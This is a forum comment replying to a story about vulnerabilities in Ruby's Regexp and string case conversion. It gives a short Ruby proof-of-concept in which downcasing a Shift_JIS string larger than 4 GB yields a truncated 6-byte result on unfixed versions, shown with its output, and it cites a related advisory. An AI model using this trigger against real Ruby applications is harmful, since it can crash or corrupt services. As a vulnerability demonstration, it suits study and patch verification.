News for hackers. Stuff that matters.
Re:Multiple vulnerabilities in Regexp and String case conver... by pentestercrab on Wednesday November 18, 2026 @10:30PM (#50555722)

  str = ("\x82\xA0" + ("A" * (2**32 + 4))).force_encoding(Encoding::Shift_JIS)
  
  puts "str.bytesize: #{str.bytesize}"
  puts "str.encoding: #{str.encoding}"
  puts "str.valid_encoding?: #{str.valid_encoding?}"
  
  new_str = str.downcase
  
  puts "new_str.bytesize: #{new_str.bytesize}"
  puts "new_str.bytes:    #{new_str.bytes}"
  puts "new_str.encoding: #{new_str.encoding}"
outputs on an unfixed version:

  str.bytesize: 4294967302
  str.encoding: Shift_JIS
  str.valid_encoding?: true
  new_str.bytesize: 6
  new_str.bytes:    [130, 160, 97, 97, 97, 97]
  new_str.encoding: Shift_JIS
also I'd suggest you check out CVE-2026-128084 (GHSA-4fqr-96q8-xrfx) if you are interested in C bugs impacting Ruby on Rails

There are no comments on this comment yet.